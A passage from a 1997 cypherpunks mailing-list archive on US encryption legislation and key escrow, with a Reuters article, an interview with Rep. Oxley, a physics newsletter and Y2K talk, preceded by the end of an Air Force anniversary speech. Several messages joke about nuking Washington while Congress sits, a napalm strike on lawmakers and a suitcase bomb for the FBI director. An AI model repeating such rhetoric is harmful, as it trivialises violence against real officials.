the around-the-clock flights of the Berlin airlift.  We saw you in
MiG Alley in Korea.  We saw the longest humanitarian airlift in
history during the war in Bosnia.  We saw you in the skies over
Baghdad in Desert Storm.  And just a few days ago, we saw the nine
crew members of the C-141 perish off the coast of Africa after
carrying a team of experts to help support our de-mining efforts in
Namibia.
	We have seen you rise to the challenges of our time, from the
development of the air expeditionary forces that give me an
invaluable tool in times of crisis, to last week's deployment of
Commando Solo aircraft to help prevent the enemies of peace in Bosnia
from sabotaging the Dayton Agreement.
	We have seen your vision and commitment to excel as you sharpen
your technological age to dominate the battlefields of the future.
And perhaps most important, we see in the 12 outstanding Airmen of
the Year the best traditions, the best hope and the brightest future
of the Air Force -- the leadership and talent and dedication that
make you second to none.
	I want you to know on behalf of all Americans, I am proud of
them and proud of all of you who serve in the United States Air
Force. (Applause.) To the pilots, the flight crews, the Red Horse
engineers, the technicians, the security police, the space and
missile operators -- all who contribute to the strength of America in
the skies, and to all the families who support you, our nation is
profoundly grateful.
	Today is a well-earned day of celebration for your golden legacy
of achievement.  But as you know better than anyone, there is never a
day of rest.  We pay tribute to the last 50 years with a
determination to look to our Air Force men and women to help us meet
the challenges of the next 50 years.  We know we can always count on
you; we always have.  Aim high and reach for new horizons.
	Thank you, and God bless you all.  (Applause.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 19 Sep 1997 11:34:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Israeli authorities censor book, confiscate copies (fwd)
In-Reply-To: <19970919032702.26929.qmail@zipcon.net>
Message-ID: <19970919032835.27447.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan reports:

> [Shame on the Israeli government. I suspect this would be an interesting
> case for web-based mirroring. --Declan]

If someone has the book in machine-readable form, it could easily be
posted on the Eternity service, and be readable by everyone in Israel. 

If the author cares more about dissemination than he does about getting
paid by the copy, this is clearly the way to go. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 09:10:56 +0800
To: fight-censorship@vorlon.mit.edu
Subject: On crypto -- "The Grand Compromise is Coming"
Message-ID: <v03007811b0477b03ca0b@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Tim wasn't entirely correct in June. McKain-Kerrey isn't the most extreme,
reprehensible bill: That honor goes to the Oxley amendment and the SAFE
version that Intelligence approved. (They would ban the manufacture,
distribution of non-backdoored crypto.) This is the danger of entrusting
our civil liberties to legislatures, which are inherently anti-civil
libertarian. No new legislation is better than bad new legislation.

Something close to McCain-Kerrey could well emerge as the "Grand Compromise."

-Declan

-------

Date: Tue, 24 Jun 1997 20:52:55 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: On crypto -- "The Grand Compromise is Coming"

[A House international relations subcommittee this afternoon approved Rep.
Goodlatte's SAFE bill by a 14-1 vote, with some amendments. Rep. Doug
Bereuter (R-Neb.) voted against it on "national security" grounds. Details
to follow. --Declan]

*****************

Date: Tue, 24 Jun 1997 12:33:38 -0700
To: cypherpunks@Algebra.COM
From: Tim May <tcmay@got.net>
Subject: The Grand Compromise is Coming

At 11:43 AM -0700 6/24/97, Declan McCullagh wrote:
>Yeah, I'm going to the markup later this afternoon. I ran into Goodlatte in
>the Capitol this morning; he seemed cautiously optimistic.
>

The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
card in the coming Grand Compromise.

When even editorial writers for the Establishment Papers are against it,
when industry is against it so vocally, it won't pass the full Congress.

But it will have served its purpose.

It will make many groups _satisfied_ to reach "a compromise we can all live
with." The various cyber-rights [sic] groups will probably trumpet this as
a victory, as "the best we could get."

Somewhere between SAFE, a bad bill, and McCain-Kerrey, a reprehensible
bill, lies the Grand Compromise.

I reject it all.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

*****************

From: Eric Murray <ericm@lne.com>
Subject: Re: The Grand Compromise is Coming
To: tcmay@got.net
Date: Tue, 24 Jun 1997 14:02:11 -0700 (PDT)
Cc: cypherpunks@Algebra.COM

Tim May writes:
>
> The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
> card in the coming Grand Compromise.

Yes.  The tactic will be to use S.909 in negotiation to represent a 'fair'
government-oriented solution.   Then 'compromise' with a 'balanced'
deal which includes all that the government really wants, with a few
of the more onerous bits taken out of S.909 as 'compromise'.

As Declan notes, Congress is driven to compromise.  The
government side can propose ever more draconian laws in order to
engineer the 'compromise' to whatever it wants.  On the other side, we
are stuck, because we have been asking for things that we really want, not
bargaining chips.  Even if we were to ask for bargaining chips that
are more than we really want, how much further than completely free
crypto can you go?    The government wins any game of compromise because
it can push its side as far as it wants, then demand that we meet halfway.


> It will make many groups _satisfied_ to reach "a compromise we can all live
> with." The various cyber-rights [sic] groups will probably trumpet this as
> a victory, as "the best we could get."

They will make it out as a victory ("send us more money") but in
reality it'll just be a little less of a defeat.


The rejectionist stance has the presumption that, if unwatched, the
government will pass a law so onerous that the people will rise up
in protest.  Unfortunately I don't think Americans will rise up in
protest over _anything_ any more.  Certainly not over basic freedoms.



--
                   Eric Murray  ericm@lne.com
  Network security and encryption consulting.    PGP keyid:E03F65E5






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 09:14:13 +0800
To: cypherpunks@toad.com
Subject: Re: ALERT: On Monday, call Congress to stop Big Brother amendment!
In-Reply-To: <199709181847.OAA23460@panix3.panix.com>
Message-ID: <v0300780eb04771b499da@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



>From the joint alert that Sameer reposted:

>> Other amendments may be proposed.  Please urge the Congressman to pass SAFE
>> "as is" and oppose any amendments.

But wait... The version of SAFE "as is" contains the ***FIRST EVER***
domestic restrictions on encryption! Why should it be passed intact? For
the sake of Beltway politicking and deal-cutting?

It includes very, very troubling severe criminal penalties for the use of
encryption in a crime. When encryption is in everything from light switches
to door knobs, any crime will include crypto, no? It would be like
criminalizing "breathing air in the commission of a crime..."

Why not just say "stop SAFE altogether?" No new laws are better than bad
new laws. And even if the crypto-in-a-crime provisions are yanked, SAFE may
be a bad bill. I wrote about this in June:

           http://cgi.pathfinder.com/netly/opinion/0,1042,1022,00.html

           "Please, do no harm here. Let's keep what we won,"
           says Cindy Cohn, one of the lawyers mounting an
           EFF-sponsored court challenge to the White House's
           export rules. So far that effort has been successful: A
           federal judge ruled last December that the line-by-line
           instructions in a computer program are "speech" and
           restrictions on overseas shipments violate the First
           Amendment.

           Cohn argues that both Rep. Bob Goodlatte's (R-Va.)
           SAFE bill and Sen. Conrad Burns' (R-Mont.) ProCODE
           bill could do more harm than good. She says they might
           not even help her client, a university professor who wants
           to discuss encryption without going to jail. "What effect
           would SAFE or ProCODE have? Either none or a
           detrimental one," Cohn said on Monday at a conference
           organized by the Electronic Privacy Information Center.

Why are these organizations -- CDT, VTW, Wired, EFF, ATR -- urging it be
passed intact, as is? Why should Americans give up their rights so business
can make more money on encryption exports?

-Declan
(Not speaking for anyone but myself, of course.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Sep 1997 12:23:55 +0800
To: cypherpunks@toad.com
Subject: Top Ten Things to Give to Law Enforcement
In-Reply-To: <199709182009.NAA27806@gabber.c2.net>
Message-ID: <v0310280bb047aad22d97@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:09 PM -0700 9/18/97, Declan McCullagh wrote:
>I just got off a phone with an industry lobbyist. The conversation went
>something like this.
>
>"Can there be a compromise?" I asked. "I don't think there can be one that
>will satisfy all three or four parties involved." (I was thinking: law
>enforcement, national security, business, and privacy interests.)
>
>The answer: "I don't think compromise is the right word. But we need to
>give something to law enforcement."
>


Top Ten Things to Give to Law Enforcement:

10. Our first-born children.

9. A lifetime supply of toilet plungers.

8. The Master GAK key Craig Livingstone was able to snarf off the IBM PROFS
system before being fired at the White House.

7. A napalm strike called on their chief critics in Congress.

6. An 80-pound suitcase from Tajikistan, to be opened only by Lous Freeh.

5. ....

etc.

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 19 Sep 1997 09:50:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: politics aren't all or ^h^h^h^h^h^h^h^h^h^h^h nothing
In-Reply-To: <Pine.SOL.3.96.970918145504.29000S-100000@sirius.infonex.com>
Message-ID: <v0311077eb04787ff4538@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:14 pm -0400 on 9/18/97, Steve Schear wrote:


> I agree that Nuking D.C. would be a shame.  Think of the Smithsonian and
> all those national treasures which would be destroyed.

And, of course, it would be a shameful waste of a perfectly good swamp, er,
wetland.

Ooooops!

It *is* already.

Never mind...

Cheers,
Bob Hettinga
(Who wonders if Newt was really serious when he said that *all* the laws,
including the EPA "wetland" confiscation policy, are now applicable to
Congress... :-))

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 19 Sep 1997 13:04:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Supercomputer export link in National Security Committee report
In-Reply-To: <199709181634.JAA26324@ohio.chromatic.com>
Message-ID: <3.0.3.32.19970918215030.006c8990@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>Are we getting screwed by a false link to supercomputers?

Supercomputers have been part of the Export Controls for a long time.
Of course, a few years ago, "supercomputer == Cray-1" was the obvious
definition.  
Eugene Brooks's "Attack of the Killer Micros" has hit that industry hard.*
Some of the DEC Alpha machines hit that speed point, and lots of
lobbying was started that gradually moved the limit.  But now,
"Cray-1 ~~ Pentium-133" for basic number-crunching, though there 
are still applications requiring really high memory bandwidth where
the Cray-1 will outperform the Pentium, and the Crays have a much better 
I/O architecture than your basic PC (though PCIbus is no slouch, and
Ultra-Wide-Hyper-SCSI stuff keeps improving as well.)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* "Careful with that VAX, Eugene!".  The "Attack of the Killer Micros"
was Brooks's restatement of Moore's Law for the supercomputer industry,
probably 10 years ago when I was still reading comp.arch.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 19 Sep 1997 11:17:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: politics aren't all or nothing (fwd)
Message-ID: <199709190326.WAA04685@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 18 Sep 1997 19:51:40 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: politics aren't all or nothing

> Democracy is the problem, not the solution.

A democracy which doesn't respect its limits of power is the problem. This
has always been the problem with all forms of governments and will continue
to be the problem with all forms of government (even anarchy). People are
people, people are strange; it isn't a question of technology [1] or time.
The solution is people taking more direct and immediate action in the first
person. Always has been, always will be.

Irrespective of all the spin-doctor protestrations to the contrary not
withstanding.

Governments are governed by the 3 laws of thermodynamics just like
everything else.

You can't get ahead
You can't break even
You can't quit the game

The failing with the founding fathers is that there were not enough
amendments in the Bill of Rights explicity listing citizen rights and
federal duties and limits in the first place. THAT is the problem with
our government today: even the harshest critics of their day trusted a
federal government too much.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


[1]  Governments are a form of technology.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 19 Sep 1997 10:28:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: politics aren't all or nothing
Message-ID: <d7942bb95320ea1d67035501c7860342@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Mark Hedges wrote:

>Mostly, I just don't want to get nuked. I don't want the people in
>Washington to get nuked. I don't want to be ostracized because a
>disjointed group I'm associated with has members who support nuking
>political opponents. "Nuke DC" is crap. "Ecash Assassination Politics" is
>crap. The loss of faith in one's ability to convince other people with
>rational discussion is crap. That whole attitude reminds me of the guys in
>early grade school who beat up on me because I was a nerd. I refuse to
>sink to their level. 

The guys who beat you up in grade school are now the ones who are
running Congress.  They haven't matured, they are just upscale and
have learned better techniques.

The only problem I have with Tim May's "Nuke DC" is that he lacks
the necessary qualifier:

"Nuke D.C. now, while Congress is still in session"

ThermoNuclearMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 19 Sep 1997 10:58:08 +0800
To: cypherpunks@toad.com
Subject: Re: politics aren't all or nothing
Message-ID: <1.5.4.32.19970919023633.008820b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark Hedges wrote:

>Does anyone know who is behind this crap that the Empire's pushing on the
>committees? Louis Freeh is the only name I've heard. I've not heard
>Tenet's name mentioned in any of this. It would be interesting to research
>the other people involved, to try to find some dirt.

There's considerable push coming from domestic law enforcement
agencies of many types and jurisdictions. See letters some of them 
have made in support of encryption controls in a House statement by 
Representative Weldon (co-sponsor with Dellums of the National 
Security Committee amendment to gut SAFE):

   http://jya.com/weldon.txt

These letters are regularly cited Freeh to show that the FBI and other
federal agencies are not alone in pushing for GAK, and to remind 
legislators that the law and order folks at home are a threat to re-election 
if they don't "give something to law enforcement."

And, Freeh often reminds that half of wiretaps are state rather than 
federal, as shown in the 1997 annual report on electronic surveillance:

   http://jya.com/wire97.htm

This is not to diminish the signficance of the burgeoning national security 
agencies, especially the 13 members of the intelligence community and 
those new-born aspirants for funds to protect the commonweal -- nearly 
every governmental jurisdiction now aims to grab a piece of the Nat Sec 
booty being converted to dual- and domestic-use, usually through 
various "justice" and "law enforcement" programs:

   http://jya.com/lec-links.htm

An avid drumbeater for more funding for protection against the nation's 
high-tech enemies (thus bringing the foreign wars home) is the President's 
Commission on Critical Infrastructure Protection (PCCIP). See a recent 
news report on PCCIP's call for $1 billion to fight the homefront foe:

   http://jya.com/pccip.htm

In short, there is a growing list of self-interested domestic parties who 
have a stake in GAK and you can bet they are leaning on their 
legislators just as hard as the federal briefers who whisper secrets
and lies celebrated this week for 50 years of domestic deception in the 
national interest.

Domestic controls on crypto and other munitions are just as certain to
come as the export kind, and for the same reasons -- security of the
state. If there are insufficient external enemies to justify stupendous 
public expenditures, why, just cook up the internal kind -- as done in 
the 1900s, the 1920s, the 1930s, the 40s, the 50s, the 60s, and to 
this day.

The Bible Code foretells all.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 19 Sep 1997 11:33:37 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Crypto-ban will pass Commerce cmte next week, from Reuters (fwd)
Message-ID: <199709190342.WAA04760@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 18 Sep 1997 22:55:02 -0400
> From: Declan McCullagh <declan@well.com>
> Subject: Crypto-ban will pass Commerce cmte next week, from Reuters

> So much for the millions of dollars industry wasted on crypto-lobbying. The
> lobbyists (and high-tech executives) should have realized long ago that
> legislatures often are enemies of civil liberties. Civil liberties are
> anti-majoritarian, and usually unpopular, by their very nature. Look at
> what happened with the CDA -- it took the Supreme Court to undo Congress'
> bad work.

I think you are confusing 'blatant self-interest without regard to others'
with civil liberties. There are no 'gay rights' or 'womens rights' or any
other sort of 'minority' rights, there simply are rights that each and every
human being holds. All this special interest crap is just that, blatant
self-serving crap at the expense of others.

Civil liberties are inherent rights human beings have by simply being human
beings. They are not a statistical effect or dependant upon who happens to
hold the current reigns of government. Their respect however, does depend on
not only the minority but the majority realizing it is in their best
long-term interest to support them. The bottem line is that it really
doesn't matter what kind of government it is, as long as everyone goes along
reasonably willingly.

What truly amazes me is that, for example, the anti-gun lobbiest have not
pushed modifying the 2nd Amendment. Shows a serious lack of character and
follow-through. Oh yeah, that would get either the states or the people
directly involved...imagine that.

Seems to me that the best way to play poker with an equal player is to go
for table stakes. Perhaps the answer is a Crypto Amendment movement, take
the political ante all the way...why mess around with some pansy-waisted
politicians in Washington...lets get 50 governors or several hundred million
Americans involved. You'd at least get PSA's and 'equal time' out of the
deal. It'd probably cost less to influence 50 governors than several hundred
congress persons.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Fri, 19 Sep 1997 14:01:38 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: sooner or later
Message-ID: <Pine.SUN.3.96.970918220732.16362D-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



Many of us believe that a crypto ban is inevitable. The only question for
us is whether it'll happen sooner or later. Seen in this perspective, all
that industry and civil liberties lobbies can do is delay the ban. But is
this necessarily a good thing?

Here are some reasons to believe that an ealier ban might be preferable
to cypherpunks.

1. An earlier ban will do less damage to existing infrastructure.

2. A ban can not and will not stop crypto. It will force people to work
around it, but ultimately it will not achieve its goal. We might as well
start working around it sooner.

3. A ban will eventually be lifted, because of the impracticality of GAK,
abuses, wide-spread security problems caused by added complexity or
hackers stealing the master keys, ineffectiveness, sympathetic courts etc.
The sooner it comes into effect, the sooner it goes away.

4. A ban will focus public attention on crypto, especially if it creates
some of the problems mentioned above. This will accelerate deployment of
crypto after the ban is lifted.

In summary, the government is obligated to try and eventually fail to ban
crypto. We might as well let them get it over with.

I'm not suggesting that the professional lobbists stop their efforts (they
shouldn't, if only for appearances sake), but it might be time for the
rest of us to focus our attention on more important matters.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 19 Sep 1997 14:37:56 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: New Computer Security Act
In-Reply-To: <1.5.4.32.19970918020421.006952c4@pop.pipeline.com>
Message-ID: <v03007851b047c1e7fd8b@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:04 PM -0700 9/17/97, John Young wrote:
>The Computer Security Enhancement Act of 1997 (HR1903)
>is intended to replace the Computer Security Act of 1987.
>It redefines the role of NIST in meeting federal computer security
>and encryption requirements through cooperation of industry.
>Public use of encryption is also addressed in the bill.
>
>Two lengthy reports on the bill have been issued recently, both
>of which provide overviews of the current encryption debate.
>
>House Report 105-243, published on September 3, provides a
>detailed analysis of the bill, hearings held, floor remarks and
>mark-ups since introduction:
>
>   http://jya.com/hr105-243.txt  (115K)
>
>And one published today includes recent floor remarks on
>encryption, mostly supportive of public use:
>
>   http://jya.com/hr1903-floor.htm  (44K)
>
>One point of contention is the evaluation of foreign encryption.
>The original bill put that responsibility on NIST, but the latest version
>deleted that and leaves the task to BXA (and unnamed others).
>Moreover, there's dispute over committee jurisdiction for other
>provisions.

It seems that the GAK crowd doesn't want a credible evaluation of foreign
encryption to interfere with their dream that only the US can make
encryption products.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 19 Sep 1997 11:44:04 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: update.337 (fwd)
Message-ID: <199709190349.WAA04856@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 18 Sep 97 10:35:28 EDT
> From: physnews@aip.org (AIP listserver)
> Subject: update.337
> 
> 
> PHYSICS NEWS UPDATE                         
> The American Institute of Physics Bulletin of Physics News
> Number 337 September 18, 1997    by Phillip F. Schewe and
> Ben Stein
> 
> REAL PHOTONS CREATE MATTER.  Einstein's equation
> E=mc^2 formulates the idea that matter can be converted into
> light and vice versa.  The vice-versa part, though, hasn't been so
> easy to bring about in the lab. But now physicists at SLAC have
> produced electron-positron pairs from the scattering of two "real"
> photons (as opposed to the "virtual" photons that mediate the
> electromagnetic scattering of charged particles).  To begin, light
> from a terawatt laser is sent into SLAC's highly focused beam of
> 47-GeV electrons.  Some of the laser photons are scattered
> backwards, and in so doing convert into high-energy gamma ray
> photons.  Some of these, in turn, scatter from other laser
> photons, affording the first ever creation of matter from light-on-
> light scattering of real photons in a lab. (D.L. Burke et al.,
> Physical Review Letters, 1 September 1997.)
> 
> DNA-GOLD NANOPARTICLES, employing the talent of DNA
> strands for recognizing and attaching to complementary strands
> and gold's electronic and optical properties, operate as a new
> kind of biosensor.  Scientists at Northwestern University glue
> various "probe" DNA segments onto tiny gold particles (13 nm
> wide).  When a "target" single-stranded DNA  introduced into the
> solution happens to be complementary to DNA already stuck to
> the particles, the probe and target strands link up, creating a sort
> of polymer network whose color is different from that of the
> original solution. Thus recognition of the target DNA is signaled
> by a color change. The researchers can already use this approach
> to detect single-strand DNA samples in 10-femtomolar amounts.  
> (Science, 22 August 1997.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 11:08:27 +0800
To: cypherpunks@toad.com
Subject: Crypto-ban will pass Commerce cmte next week, from Reuters
Message-ID: <v03007815b0479328775a@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Attached below is a Reuters article on how the House Commerce committee is
about to approve an amendment banning the distribution of encryption
products without a government backdoor. The Commerce committee would then
join the Intelligence committee, which approved a similar measure last week.

I generally agree with Aaron's (who wrote the article) take on the
situation. Late this evening some lobbyists called me to promise some good
news tomorrow, but momentum is clearly against them. After the full
committee vote next Thursday, some sort of compromise legislation will
likely go to the House floor -- at least if the leadership lets it. It's
unclear whether that would happen this year or not.

So much for the millions of dollars industry wasted on crypto-lobbying. The
lobbyists (and high-tech executives) should have realized long ago that
legislatures often are enemies of civil liberties. Civil liberties are
anti-majoritarian, and usually unpopular, by their very nature. Look at
what happened with the CDA -- it took the Supreme Court to undo Congress'
bad work.

Also, I recently spoke with Rep. Michael Oxley (R-Ohio), a former FBI
agent, who's on the House Commerce committee that will consider SAFE next
week. A version of his amendment that will be introduced is at:

  http://www.cdt.org/crypto/legis_105/SAFE/Oxley_Manton.html

I wrote about crypto-compromises recently at:

  http://cgi.pathfinder.com/netly/editorial/0,1012,1412,00.html

Attached is an excerpt from my conversation with Oxley...

-Declan

*****************

IS THERE A COMPROMISE IN THE WORKS?

	I can't give you any definitive answer on that.

	They have to recognize that our committee is prepared
	to accept my amendment. The Intelligence Committee
	has already passed an amendment unanimously. The
	National Security Committee passed an amendment
	45-1. It's going to be the amendment in some
	form...

	The briefing that law enforcement and the FBI and DEA
	and the NSA and the CIA -- that was a pretty
	sobering briefing that the members got. At least
	it was in our committee. It brought up a lot of
	issues that hadn't been considered before...

	If it's a fight and it's up or down on my amendment,
	my amendment passes. Goodlatte told me that. He knew
	I had the votes. [Rep Goodlatte is the chief sponsor
	of the original SAFE bill]

WOULD YOU TAKE SEN. KYL'S LEAD AND MOVE TO BAN NOT
JUST THE DISTRIBUTION, BUT THE //USE// OF ENCRYPTION
WITHOUT A KEY RECOVERY FEATURE?

	I've had some discussions with Kyl and we're working
	with him to find out what the best approach is.

WOULD YOU INTRODUCE THE INTELLIGENCE DRAFT?

	That's still an option but we haven't made that
	determination yet. [The Intelligence committee bill
	is a slightly more extreme proposal.]

	I think the overwhelming sentiment in the House is
	towards protecting national security and providing
	law enforcement with the tools they need to combat
	this activity. This is a very complicated
	technological issue. My sense is that Bob Goodlatte
	and the folks who support that bill want other
	members to say we have to give up: we can't protect
	people from terrorists and organized crime since the
	technology has run.

HAS YOUR EXPERIENCE AS AN FBI AGENT SENSITIZED YOU TO
LOUIS FREEH'S ARGUMENTS?

	Oh clearly, sure. I used to tap phones for a living.
	That was old technology, but the concept is clearly
	the same.

-----

Date: Thu, 18 Sep 1997 18:39:35 -0400
From: Aaron Pressman <aaron.pressman@reuters.com>
To: declan@well.com
Subject: reuters encryption story

U.S. encryption bill inspires little give and take
    By Aaron Pressman
   WASHINGTON, Sept 18 (Reuter) - Like many who have tried to broach a
compromise on the knotty issue of regulating computer encoding technology,
members of the House Commerce Committee are finding their negotiation
efforts futile, people involved said on Thursday.
   With talks deadlocked, the committee is likely to vote next week on
virtually the same amendments that would have been considered previously,
and most participants said a restrictive proposal favored by
law-enforcement agencies would carry the day.
   An essential means of safeguarding communications and electronic
commerce over the Internet, encryption products scramble information and
render it unreadable without a password or software "key."
   Barring a surprise change in momentum, the committee will likely approve
 an amendment from Rep. Mike Oxley, Republican of Ohio, to impose
restrictions for the first time on domestic sales and distribution of
encryption products, staffers and lobbyists said.
   "He has the votes," said an industry lobbyist opposed to Oxley's
amendment. "To call this negotiation is kind of a joke."
   Oxley's staff also conceded that talks were not proving fruitful. "We're
 negotiating with the other side, but I don't think there's a lot of middle
 ground here," Oxley spokeswoman Peggy Peterson said.
   One week ago, the committee postponed a vote on a bill by Virginia
Republican Bob Goodlatte that was originally intended to relax strict U.S.
export limits on encryption and prohibit mandatory backdoor access for the
government.
   The Republican leadership gave the committee two weeks to find an
approach that would be acceptable to law enforcement and national security
agencies on one side, and software companies, civil libertarians and
Internet users on the other.
   Rep. Rick White, Republican of Washington, and Rep. Ed Markey, Democrat
of Massachusetts, had prepared an amendment requiring a study on backdoor
access technologies but their proposal has not attracted much support from
the FBI or the leadership of the committee.
   "Language can be changed but at the end of the day, it doesn't get law
enforcement on board," one staffer said.
   FBI Director Louis Freeh has repeatedly told lawmakers to adopt
restrictions forcing encryption manufacturers to include features allowing
law enforcers to decode any message covertly. Freeh said without such a
law, criminals and terrorists would increasingly use encryption to thwart
FBI surveillance.
   Software companies counter that adding such features may be impossible
and would reduce the level of security provided to legitimate citizens and
businesses seeking to safeguard their communications. And civil
libertarians said the FBI proposal would permit an Orwellian intrusion of
government snooping into everyone's private affairs.
   Domestic restrictions like those in the Oxley amendment were added to
the original bill by the Select Committee on Intelligence in a classified
session last week.
   A few days earlier, the National Security Committee gutted the export
relaxation provisions drafted by Goodlatte and replaced them with export
limits tighter than current rules.
Thursday, 18 September 1997 18:06:50
RTRS [nN18296706]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 19 Sep 1997 14:24:39 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Preparing the Remnant for the far side of the crisis
In-Reply-To: <v0311070eb046c146ecf3@[139.167.130.248]>
Message-ID: <v03007852b047c33e4e31@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:03 AM -0700 9/18/97, Tim May wrote:
>There's simply no way that much code can be refactored to get the "00"
>problem fixed. It isn't, of course, just a matter of doing a
>search-and-replace on "00" and replacing it with "2000." For example, the
>date code was picked to be 2 digits (back in the 1950s and 60s and well
>into the 70s, 80s, and even 90s) to save space. Switching to 4-digit dates
>would require recompilation of the code (for which the compilers may not
>even run properly any longer), and the old hardware will of course not
>accept straightforwardly recompiled code (because part of the code "tucked"
>these compressed numbers into small registers, as but one of many examples).

Note also that the standard date format for OS/360 and its descendents is
the "Julian" date, a YYDDD format.  This means those old compilers have to
